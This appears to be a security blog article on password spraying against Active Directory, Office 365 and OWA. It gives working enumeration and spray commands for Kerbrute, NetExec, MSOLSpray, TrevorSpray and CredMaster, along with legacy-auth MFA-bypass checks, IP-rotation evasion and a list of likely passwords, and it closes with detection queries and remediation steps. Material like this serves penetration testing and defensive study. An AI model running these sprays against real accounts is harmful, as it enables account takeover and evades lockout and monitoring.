Password spraying attack flow against Active Directory and cloud authentication endpoints

Password Spraying Against Active Directory and Cloud Services

Password spraying techniques for Active Directory, Office 365, and OWA with lockout-aware timing and Kerberos enumeration to avoid detection.

Nov 10, 2026
2 min read

Introduction

Password spraying inverts the logic of credential brute force. Instead of exhausting a password list against a single account — which trips lockout after a handful of attempts — it tests one password against every account in scope, then waits for the observation window to reset before trying the next. The math is straightforward: if the domain lockout threshold is five bad attempts per 30 minutes and you have 500 accounts, you can test one credential per account every 31 minutes indefinitely without locking anyone out. The technique works because organizational password policies cluster user choices: mandatory complexity rules, seasonal rotations, and shared password bases mean that Password1, Summer2026, or <Company>2026 will match somewhere in a large enough user population.

The attack surface spans three distinct authentication planes. On-premises Active Directory exposes LDAP, SMB, and the Kerberos AS-REQ exchange — each with different lockout behaviors. Cloud services like Office 365 authenticate against login.microsoftonline.com with Azure AD Smart Lockout, which is counter-intuitive: it uses IP-based per-account lockout rather than a simple bad-password counter, making distributed sprays from multiple source IPs more effective. Legacy authentication protocols (BasicAuth over IMAP, Exchange ActiveSync, SMTP AUTH) bypass MFA entirely and authenticate directly against password hashes, making them high-value targets even in well-configured tenants.

Timing is the primary operational variable. Spray too fast and you trigger velocity-based alerting in SIEM rules or Azure AD Identity Protection. Spray during business hours and you blend with normal authentication noise. Spray on Monday morning when users return from the weekend and password reset rates spike — more accounts will be on predictable newly-set passwords.

Authorization Required

All techniques in this article require explicit written authorization from the asset owner. Password spraying against systems you do not own or have permission to test is illegal under the Computer Fraud and Abuse Act and equivalent legislation internationally. Always operate within the scope of a signed statement of work and rules of engagement.

Impact

  • Initial access via valid credentials: Compromised accounts provide legitimate authenticated access that bypasses perimeter controls and evades network-based detection
  • MFA bypass through legacy protocols: O365 tenants with IMAP/ActiveSync/SMTP AUTH enabled allow password-only authentication regardless of Conditional Access policy
  • Credential reuse across services: A single sprayed password often works against VPN, Citrix, OWA, and O365 if the user has no per-service password requirement
  • Pivot to higher-privilege accounts: Compromised low-privilege accounts enable AS-REP roasting, Kerberoasting, and ACL enumeration leading to domain escalation
  • Persistence through cloud access: O365 tokens issued after successful authentication survive password changes if refresh token revocation is not enforced
  • Low lockout risk: One attempt per lockout window per account leaves no lockout artifacts if thresholds are respected — defenders may not see any 4740 events at all

Technical Details

The lockout threshold is the primary constraint. Before spraying, you need the lockoutThreshold and lockoutObservationWindow from the Default Domain Policy. An LDAP query with any domain user account returns these values:

Query Domain Lockout Policy via LDAP
ldapsearch -x -H ldap://192.168.1.10 -D "jsmith@corp.local" -w 'Password1' \
  -b "DC=corp,DC=local" -s base \
  "(objectClass=domainDNS)" lockoutThreshold lockoutObservationWindow lockoutDuration
# lockoutThreshold: 5
# lockoutObservationWindow: 1800 (30 minutes in 100ns intervals: 18000000000)
# lockoutDuration: 1800

The lockoutObservationWindow value is stored in 100-nanosecond intervals. Divide by 10,000,000 to get seconds. Add a buffer — spray at threshold - 1 attempts per window, not at the threshold itself.

Fine-Grained Password Policies (PSO) assigned to specific groups or users override the Default Domain Policy. A domain user account in the ServiceAccounts group may have a threshold of 3 while standard users have 10. Enumerate PSOs before spraying to avoid locking out high-value accounts:

Enumerate Fine-Grained Password Policies
# With PowerView
Get-DomainFineGrainedPolicy
Get-DomainFineGrainedPolicyObject -Identity "ServiceAccountPSO"

# With ldapsearch
ldapsearch -x -H ldap://192.168.1.10 -D "jsmith@corp.local" -w 'Password1' \
  -b "CN=Password Settings Container,CN=System,DC=corp,DC=local" \
  "(objectClass=msDS-PasswordSettings)" msDS-LockoutThreshold msDS-LockoutObservationWindow msDS-PSOAppliesTo

Kerberos AS-REQ Pre-authentication Enumeration

The Kerberos AS-REQ exchange leaks valid account existence through error codes before any lockout counter increments (in most configurations). When pre-authentication is enabled (the default), the KDC returns KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN (error 6) for non-existent users and KRB5KDC_ERR_PREAUTH_REQUIRED (error 25) for valid users who haven't supplied credentials. Kerbrute exploits this to enumerate valid accounts without touching the bad password counter.

The caveat: some configurations count AS-REQ failures toward lockout. Verify on a test account before enumerating production.

Enumerate Valid Accounts with Kerbrute

Kerbrute sends AS-REQ packets without pre-authentication data and reads the KDC error code. No bad password count is incremented on most default configurations.

Kerbrute User Enumeration
kerbrute userenum \
  --dc 192.168.1.10 \
  -d corp.local \
  --threads 10 \
  /opt/wordlists/statistically-likely-usernames.txt \
  -o valid_users.txt

# Output:
# 2026/11/10 09:14:22 >  [+] VALID USERNAME: jsmith@corp.local
# 2026/11/10 09:14:22 >  [+] VALID USERNAME: administrator@corp.local
# 2026/11/10 09:14:23 >  [-] INVALID USERNAME: jsmiht@corp.local
# 2026/11/10 09:14:24 >  [+] VALID USERNAME: svc_backup@corp.local

Generate a username list from common formats once you know the naming convention (from email headers, LinkedIn, OWA autocomplete):

Generate Username Wordlist from Full Names
# namemash.py from https://github.com/urbanadventurer/username-anarchy
python3 namemash.py names.txt > generated_users.txt

# Or build manually from OSINT output
awk '{print tolower($1"."$2)}' names.txt >> users_dot.txt
awk '{print tolower(substr($1,1,1)$2)}' names.txt >> users_initial.txt

Spray via Kerberos Pre-authentication

Kerbrute password spray sends AS-REQ with encrypted timestamp using the candidate password. A successful pre-auth returns a TGT. Failed pre-auth returns KRB5KDC_ERR_PREAUTH_FAILED (error 24). This error code does increment the bad password counter — treat Kerbrute spray like any other spray, respect the lockout threshold.

Kerbrute Password Spray
kerbrute passwordspray \
  --dc 192.168.1.10 \
  -d corp.local \
  --threads 5 \
  valid_users.txt \
  'Summer2026!' \
  -o spray_results.txt

# Output:
# 2026/11/10 09:30:01 >  [+] VALID LOGIN: jdoe@corp.local:Summer2026!
# 2026/11/10 09:30:01 >  [+] VALID LOGIN: mwilliams@corp.local:Summer2026!

The advantage over LDAP: Kerberos spray works without LDAP port access and operates at layer 88 TCP/UDP, which may not be monitored as closely as LDAP 389/636 in some environments.

LDAP Bind Spray with Spray

Spray performs LDAP simple binds against the domain controller. Each bind attempt is a complete authentication; lockout counts apply normally.

Spray LDAP Password Spray
Spray -Users valid_users.txt \
      -Passwords passwords.txt \
      -Domain corp.local \
      -dc 192.168.1.10 \
      -Delay 0 \
      -Out spray_ldap_results.txt

# For single-password spray across all users
Spray -Users valid_users.txt \
      -Password 'Summer2026!' \
      -Domain corp.local \
      -dc 192.168.1.10

Set -Delay to match your observation window calculation. If lockout resets every 30 minutes and you have 300 users, you can afford 5-9 users per minute safely (1 attempt per user per window).

SMB Spray with NetExec

NetExec SMB spray is useful when LDAP and Kerberos ports are blocked but SMB (445) is accessible. The --no-bruteforce flag pairs each user with the single password rather than cross-multiplying all users × all passwords. --continue-on-success prevents the tool from stopping after the first hit.

NetExec SMB Password Spray
netexec smb 192.168.1.10 \
  -u valid_users.txt \
  -p 'Summer2026!' \
  --no-bruteforce \
  --continue-on-success

# Output:
# SMB   192.168.1.10  445  DC01  [+] corp.local\jdoe:Summer2026! (Pwn3d!)
# SMB   192.168.1.10  445  DC01  [+] corp.local\mwilliams:Summer2026!

# Spray multiple passwords (one per run, spaced by observation window):
for pass in 'Summer2026!' 'Password1' 'Corp2026!'; do
  netexec smb 192.168.1.10 -u valid_users.txt -p "$pass" --no-bruteforce --continue-on-success
  sleep 1800  # 30 minutes between rounds
done

The (Pwn3d!) annotation indicates the account has local admin on the target — SMB admin shares are accessible.

Attack Tools

MSOLSpray targets login.microsoftonline.com directly. The endpoint returns verbose error codes distinguishing valid accounts, valid credentials, MFA-required accounts, and disabled accounts — making it useful for reconnaissance beyond just credential validation.

MSOLSpray Against Office 365
Import-Module MSOLSpray.ps1

# Single password spray
Invoke-MSOLSpray -UserList .\users.txt -Password "Summer2026!" -OutFile spray_results.csv

# Output indicators:
# [SUCCESS] Valid credentials: jdoe@corp.com:Summer2026!
# [VALID_ACCOUNT_MFA] Account valid, MFA blocking: mwilliams@corp.com
# [AADSTS50126] Invalid credentials (account exists, password wrong)
# [AADSTS50053] Account locked out
# [AADSTS50057] Account disabled

The AADSTS50076 response code means the account is valid and credentials are correct, but MFA is required — this confirms a valid credential even without shell access. Check if the account has legacy auth protocols enabled by testing IMAP or ActiveSync:

Test Legacy Auth Bypass via IMAP
# If IMAP is enabled for the mailbox, MFA is not enforced
curl -k --user "jdoe@corp.com:Summer2026!" \
  imaps://outlook.office365.com:993

# Test ActiveSync endpoint (bypasses MFA in many tenants)
curl -k -u "jdoe@corp.com:Summer2026!" \
  "https://outlook.office365.com/Microsoft-Server-ActiveSync" \
  -d "" -v 2>&1 | grep "HTTP/"
# HTTP/1.1 200 OK  → credentials valid, legacy auth enabled, MFA bypassed
# HTTP/1.1 401     → credentials invalid or basic auth disabled

Azure AD Smart Lockout counts bad attempts per account per source IP. Distributing sprays across multiple IPs (cloud VM egress, residential proxies) resets the per-source counter while still incrementing the global counter. The global threshold is higher and less documented — spread attempts across IPs to stay under both.

TrevorSpray handles OWA (Outlook Web Access) and other Exchange endpoints. It supports proxy rotation to distribute source IPs and avoid velocity-based blocking.

TrevorSpray OWA Spray
# Install
pip3 install trevorspray

# Basic OWA spray
trevorspray \
  -u users.txt \
  -p 'Summer2026!' \
  -t https://mail.corp.com/owa \
  --delay 60 \
  --jitter 15

# With SSH proxy rotation (spread across multiple source IPs)
trevorspray \
  -u users.txt \
  -p 'Summer2026!' \
  -t https://mail.corp.com/owa \
  --ssh user@proxy1.example.com user@proxy2.example.com \
  --delay 30

# Output:
# [14:22:01] [+] jdoe@corp.com:Summer2026! -> SUCCESS (200 OK)
# [14:22:03] [-] mwilliams@corp.com:Summer2026! -> FAIL (401)
# [14:22:05] [!] baduser@corp.com -> USER NOT FOUND (404)

--delay sets seconds between attempts per user; --jitter adds randomness to avoid pattern-based detection. Use --delay 1800 divided by user count to stay within one attempt per lockout window.

CredMaster routes sprays through AWS Lambda functions, providing rotating egress IPs automatically. Effective against Azure AD Smart Lockout which uses per-source-IP tracking.

CredMaster via AWS Lambda
git clone https://github.com/knavesec/CredMaster
cd CredMaster
pip3 install -r requirements.txt

# Deploy Lambda functions (requires AWS credentials)
python3 credmaster.py \
  --plugin msol \
  -u users.txt \
  -p passwords.txt \
  --passwordsperdelay 1 \
  --delay 1800 \
  --jitter 10 \
  -t 10  # 10 concurrent Lambda functions = 10 different IPs

# Each Lambda invocation uses a different AWS IP
# Smart Lockout sees 10 distinct source IPs, each with 1 attempt

This approach is particularly effective against federated O365 tenants where authentication passes through Azure AD — the IP rotation prevents Smart Lockout IP-based tracking from building a coherent picture of the spray campaign.

GoMapEnum is a Go-based multi-protocol enumeration and spraying tool supporting LDAP, SMB, Kerberos, and OWA from a single binary.

GoMapEnum Multi-Protocol Spray
# LDAP spray
GoMapEnum spray ldap \
  -u users.txt \
  -p 'Summer2026!' \
  -d corp.local \
  --dc 192.168.1.10 \
  --delay 1800 \
  -o results.txt

# Kerberos spray
GoMapEnum spray kerberos \
  -u users.txt \
  -p 'Summer2026!' \
  -d corp.local \
  --dc 192.168.1.10

# SMB spray
GoMapEnum spray smb \
  -u users.txt \
  -p 'Summer2026!' \
  --target 192.168.1.10

Password Candidate Selection

Password candidates should be optimized for realistic success, not wordlist completeness. High-yield patterns in order of typical success rate:

PatternExampleNotes
Season + Year + !Summer2026!Matches rotation cycles; most effective in Q2/Q3
Month + YearNovember2026Users who rotate monthly
Company + Year + !Acme2026!OSINT the company name; often meets complexity rules
Welcome + digit + !Welcome1!New hire default in many orgs
Password + digit + !Password1!Still depressingly common
Company + !`Acme1234!Static passwords without annual change

Current date context: when spraying in November 2026, try Fall2026!, November2026, Autumn2026!, and Summer2026! (users who haven't rotated since summer).

Detection

Password spraying is detectable through volume analysis of authentication failures. The key is that spraying produces a wide fanout — many distinct accounts failing authentication from a single source — rather than the deep spike of a targeted lockout attack.

Windows Event Log Sources

Event IDChannelTriggerRelevance
4625SecurityFailed logonEvery failed LDAP/SMB auth attempt
4771SecurityKerberos pre-auth failureKerberos spray attempts
4776SecurityNTLM credential validationNTLM-based spray
4740SecurityAccount locked outThreshold exceeded (spray miscalculated)
4648SecurityExplicit credential logonCredential testing with RunAs/PtH

Detection Logic (Splunk/KQL)

Splunk - Password Spray Detection (4625)
index=windows EventCode=4625 Logon_Type=3
| bucket _time span=10m
| stats dc(Account_Name) as unique_accounts count as total_failures by src_ip _time
| where unique_accounts > 10 AND total_failures > 15
| sort -unique_accounts
Azure Sentinel KQL - O365 Spray Detection
SigninLogs
| where TimeGenerated > ago(1h)
| where ResultType != "0"  // Failed logins
| summarize
    FailedAccounts = dcount(UserPrincipalName),
    TotalAttempts = count(),
    Passwords = make_set(tostring(parse_json(AuthenticationDetails)[0].authenticationMethod))
  by IPAddress, bin(TimeGenerated, 10m)
| where FailedAccounts > 10
| order by FailedAccounts desc
Azure AD Identity Protection - Smart Lockout Spray
AADUserRiskEvents
| where RiskEventType == "unfamiliarFeatures" or RiskEventType == "passwordSpray"
| project TimeGenerated, UserPrincipalName, IPAddress, RiskLevel, RiskState
| order by TimeGenerated desc

Behavioral Indicators

  • Multiple accounts failing authentication from single source IP within a short window, with only one failure per account (the spray signature)
  • 4771 errors with Status: 0x18 (wrong password) across many accounts from same source
  • Authentication attempts occurring at regular intervals (automated tooling cadence)
  • Logon failures against accounts with no recent successful logon history (inactive accounts in spray list)
  • O365: AADSTS50126 errors distributed across many UPNs from a single IP within minutes

Remediation

Active Directory

  • Set lockout threshold to 5–10 attempts with a 30-minute observation window — leaves no spray window large enough to be operationally useful at typical user list sizes
  • Deploy Fine-Grained Password Policies for service accounts and privileged users with lower thresholds (3 attempts)
  • Enable auditpol /set /subcategory:"Logon" /failure:enable on domain controllers to ensure 4625/4771 events are generated
  • Implement Microsoft's Entra ID Password Protection on-premises to block known weak passwords and custom banned lists
  • Enforce Microsoft LAPS for local administrator accounts to prevent credential reuse across machines

Azure AD / O365

  • Enable Azure AD Smart Lockout with threshold ≤ 10 and lockout duration ≥ 60 seconds
  • Disable legacy authentication protocols: block BasicAuth for Exchange Online via Conditional Access policy Client apps: Exchange ActiveSync clients, Other clients → Block
  • Require MFA via Conditional Access for all users — legacy auth bypass is the primary risk amplifier
  • Enable Microsoft Entra ID Identity Protection with sign-in risk policies (Medium → MFA challenge, High → Block)
  • Monitor AADNonInteractiveUserSignInLogs for spray patterns against service principals

Network Controls

  • Restrict LDAP (389/636) and Kerberos (88) access to domain controllers to internal networks only — these ports should never be reachable from external IPs
  • Deploy a web application firewall or reverse proxy with rate limiting in front of OWA and ADFS endpoints
  • Block authentication attempts from Tor exit nodes and known datacenter IP ranges at the perimeter

Organizational

  • Implement a banned password list in Azure AD Password Protection or on-premises equivalent — block Season+Year, Company+Year, and Welcome* patterns
  • Reduce password spray surface via passwordless authentication (FIDO2 security keys, Windows Hello for Business) for privileged accounts first

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page